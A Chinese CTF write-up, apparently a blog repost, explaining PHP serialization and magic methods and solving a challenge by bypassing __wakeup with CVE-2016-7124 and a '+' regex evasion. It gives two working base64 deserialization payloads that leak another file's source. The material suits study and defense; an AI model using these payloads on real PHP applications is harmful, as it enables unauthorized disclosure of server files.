0x01 前言

前天学校的ctf比赛,有一道题是关于php反序列化漏洞绕过wakeup,最后跟着大佬们学到了一波姿势。。

0x02 原理

序列化与反序列化简单介绍

序列化:把复杂的数据类型压缩到一个字符串中 数据类型可以是数组,字符串,对象等  函数 : serialize()

反序列化:恢复原先被序列化的变量 函数: unserialize()

1 <?php
2 $test1 = "hello world";
3 $test2 = array("hello","world");
4 $test3 = 123456;
5 echo serialize($test1); // s:11:"hello world"; 序列化字符串
6 echo serialize($test2); // a:2:{i:0;s:5:"hello";i:1;s:5:"world";} 序列化数组
7 echo serialize($test3); // i:123456;
8 ?>
1 <?php
2 class hello{
3 public $test4 = "hello,world";
4 }
5 $test = new hello();
6 echo serialize($test); // O:5:"hello":1:{s:5:"test4";s:11:"hello,world";} 序列化对象 首字母代表参数类型 O->Objext S->String...
7 ?>

魔术方法:官方文档中介绍

__construct(), __destruct(), __call(), __callStatic(), __get(), __set(), __isset(), __unset(),
__sleep(), __wakeup(), __toString(), __invoke(), __set_state(), __clone() 和 __debugInfo() 等方法在 PHP 中被称为"魔术方法"(Magic methods)。在命名自己的类方法时不能使用这些方法名,除非是想使用其魔术功能。

__wakeup()魔术方法

unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源。 

序列化public private protect参数产生不同结果

1 <?php
2 class test{
3 private $test1="hello";
4 public $test2="hello";
5 protected $test3="hello";
6 }
7 $test = new test();
8 echo serialize($test); // O:4:"test":3:{s:11:" test test1";s:5:"hello";s:5:"test2";s:5:"hello";s:8:" * test3";s:5:"hello";}
9 ?>

test类定义了三个不同类型(私有,公有,保护)但是值相同的字符串,序列化输出的值不相同 O:4:"test":3:{s:11:" test test1";s:5:"hello";s:5:"test2";s:5:"hello";s:8:" * test3";s:5:"hello";}

通过对网页抓取输出是这样的 O:4:"test":3:{s:11:"\00test\00test1";s:5:"hello";s:5:"test2";s:5:"hello";s:8:"\00*\00test3";s:5:"hello";}

private的参数被反序列化后变成 \00test\00test1 public的参数变成 test2   protected的参数变成 \00*\00test3

0x03 分析

比赛题目

 1 <?php
2 error_reporting(0);
3 class sercet{
4 private $file='index.php';
5
6 public function __construct($file){
7 $this->file=$file;
8 }
9
10 function __destruct(){
11 echo show_source($this->file,true);
12 }
13
14 function __wakeup(){
15 $this->file='index.php';
16 }
17 }
18
19 $cmd=cmd00;
20 if (!isset($_GET[$cmd])){
21 echo show_source('index.php',true);
22 }
23 else{
24 $cmd=base64_decode($_GET[$cmd]);
25 if ((preg_match('/[oc]:\d+:/i',$cmd))||(preg_match('/flag/i',$cmd))){
26 echo "Are u gaoshing?";
27 }
28 else{
29 unserialize($cmd);
30 }
31 }
32 ?>
33 //sercet in the_next.php

大致思路 首先是一个类sercet 接受$cmd,绕过正则 ,反序列化。覆盖$file的值,绕过 __wakeup,显示the_next.php的源码

 1 <?php
2 class sercet{
3 private $file='index.php';
4
5 public function __construct($file){
6 $this->file=$file;
7 }
8
9 function __destruct(){
10 echo show_source($this->file,true);
11 }
12
13 function __wakeup(){
14 $this->file='index.php';
15 }
16 }
17 $test = new sercet("the_next.php");
18 echo serialize($test); // O:6:"sercet":1:{s:12:" sercet file";s:12:"the_next.php";}
19 ?>

绕过正则可以用+号 问题是如何绕过__weakup 百度一下  发现这是一个CVE漏洞 ==》当成员属性数目大于实际数目时可绕过wakeup方法(CVE-2016-7124)

O:6:"sercet":1:  也就是输入比1大的值就行   如O:6:"sercet":2:

POC1:  TzorNjoic2VyY2V0IjozOntzOjEyOiIAc2VyY2V0AGZpbGUiO3M6MTI6InRoZV9uZXh0LnBocCI7fQ==

在复现的过程中 我发现在hackbar中直接将 O:+6:"sercet":1:{s:12:" sercet file";s:12:"the_next.php";} base64编码不能绕过 必须要在本地base64_encode生成 才能复现成功  百度了一波

所以POC2:  O:+6:"sercet":2:{S:12:"\00sercet\00file";s:12:"the_next.php";}  TzorNjoic2VyY2V0IjoyOntTOjEyOiJcMDBzZXJjZXRcMDBmaWxlIjtzOjEyOiJ0aGVfbmV4dC5waHAiO30KCgo=

两个POC均可以成功绕过

参考链接

  php bugs 72663分析(CVE-2016-7124)

  由HITCON 2016一道web聊一聊php反序列化漏洞

php反序列化漏洞绕过魔术方法 __wakeup的更多相关文章

  1. PHP中的抽象类与抽象方法/静态属性和静态方法/PHP中的单利模式(单态模式)/串行化与反串行化(序列化与反序列化)/约束类型/魔术方法小结

      前  言  OOP  学习了好久的PHP,今天来总结一下PHP中的抽象类与抽象方法/静态属性和静态方法/PHP中的单利模式(单态模式)/串行化与反串行化(序列化与反序列化). 1  PHP中的抽象 ...

  2. PHP序列化、反序列化常用的魔术方法

    __wakeup() //使用unserialize时触发__sleep() //使用serialize时触发__destruct() //对象被销毁时触发__call() //在对象上下文中调用不可 ...

  3. JAVA反序列化漏洞修复解决方法

    MyObject类建立了Serializable模块,而且重新写过了readObject()变量,仅有建立了Serializable模块的类的目标才能够被实例化,沒有建立此模块的类将无法使他们的任意状 ...

  4. php _weakup()反序列化漏洞

    概念&原理 序列化就是使用 serialize() 将对象用字符串的方式进行表示: 反序列化是使用 unserialize() 将序列化的字符串构造成相应的对象,为序列化的逆过程. 序列化的对 ...

  5. Web安全之PHP反序列化漏洞

    漏洞原理: 序列化可以将对象变成可以传输的字符串,方便数据保存传输,反序列化就是将字符串还原成对象.如果web应用没有对用户输入的反序列化字符串进行检测,导致反序列化过程可以被控制,就会造成代码执行, ...

  6. 五个demo案例带你学习PHP反序列化漏洞

    一直想研究下php反序列化漏洞,花了几天时间做了个简单的了解..写篇文章记录下. 直白点就是围绕着serialize和unserialize两个函数. 一个用于序列化,一个用于反序列化. 我们通常把字 ...

  7. Python 反序列化漏洞学习笔记

    参考文章 一篇文章带你理解漏洞之 Python 反序列化漏洞 Python Pickle/CPickle 反序列化漏洞 Python反序列化安全问题 pickle反序列化初探 前言 上面看完,请忽略下 ...

  8. PHP审计之PHP反序列化漏洞

    PHP审计之PHP反序列化漏洞 前言 一直不懂,PHP反序列化感觉上比Java的反序列化难上不少.但归根结底还是serialize和unserialize中的一些问题. 在此不做多的介绍. 魔术方法 ...

  9. PHP与类有关的几个魔术方法

    与类有关的其他魔术方法 序列化与反序列化技术 含义: 序列化: 就是将一个变量所代表的“内存”数据,转换为“字符串”形式并持久保存在硬盘上的一种做法. 反序列化: 就是将序列化之后保存在硬盘上的“字符 ...

随机推荐

  1. leaflet-webpack 入门开发系列六矢量瓦片(附源码下载)

    前言 leaflet-webpack 入门开发系列环境知识点了解: node 安装包下载webpack 打包管理工具需要依赖 node 环境,所以 node 安装包必须安装,上面链接是官网下载地址 w ...

  2. windows客户端访问FTP服务器

    客户端访问FTP服务器步骤: 首先双击此电脑,在弹出的窗口输入如下信息 刚安装完的FTP服务器只有一个pub目录,因为这里是使用匿名用户登录的 FTP服务器默认的匿名目录在/var/ftp/pub/下 ...

  3. C++之运算符优先级顺序表

    [注] sizeof 的操作数不能是 C 风格转型:表达式 sizeof (int) * p 无歧义地解释成 (sizeof(int)) * p ,而非 sizeof((int)*p). 条件运算符中 ...

  4. SpringSession 独立使用

    疯狂创客圈 Java 高并发[ 亿级流量聊天室实战]实战系列 [博客园总入口 ] 架构师成长+面试必备之 高并发基础书籍 [Netty Zookeeper Redis 高并发实战 ] 前言 Crazy ...

  5. js 对象 / json / jsonb / jsonp 区别

    一.JSON vs JS 对象 1.区别 区别 Javascript 对象 Json 含义 对象的实例 一种数据格式(序列化格式) 传输 不能传输 可以跨平台传输,轻量级 格式 1.键不加引号.加单引 ...

  6. Oracle模糊查询CONCAT参数个数无效

    在使用MyBatis操作Oracle数据库的时候,写模糊查询突然发现原本在MySql中正确的代码,在Oracle中报错,参数个数无效 <if test="empId!=null and ...

  7. python高阶函数——map/reduce

    python 内置了map()和reduce()函数 1.map()函数 map()函数接收两个参数,一个是函数,一个是可迭代对象Iterable,map将传入的函数依次作用于序列的每一个元素.并把结 ...

  8. Python中:dict(或对象)与json之间的互相转化

    在Python语言中,json数据与dict字典以及对象之间的转化,是必不可少的操作. 在Python中自带json库.通过import json导入. 在json模块有2个方法, loads():将 ...

  9. spring4 学习4 spring MVC+mybatis+Mysql

    在前面搭建的基础上,引入新的jar包如下: aopalliance-1.0.jaraspectjweaver-1.8.8.jarmybatis-3.3.0.jarmybatis-spring-1.2. ...

  10. 【Java并发系列】--Java内存模型

    Java内存模型 1 基本概念 程序:代码,完成某一个任务的代码序列(静态概念) 进程:程序在某些数据上的一次运行(动态) 线程:一个进程有一个或多个线程组成(占有资源的独立单元) 2 JVM与线程 ...